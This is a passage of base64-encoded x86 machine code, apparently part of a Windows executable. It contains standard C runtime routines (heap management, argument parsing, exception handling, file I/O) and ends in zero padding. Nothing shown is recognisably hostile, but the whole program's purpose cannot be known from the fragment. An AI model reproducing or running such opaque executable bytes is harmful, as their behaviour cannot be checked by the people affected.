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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 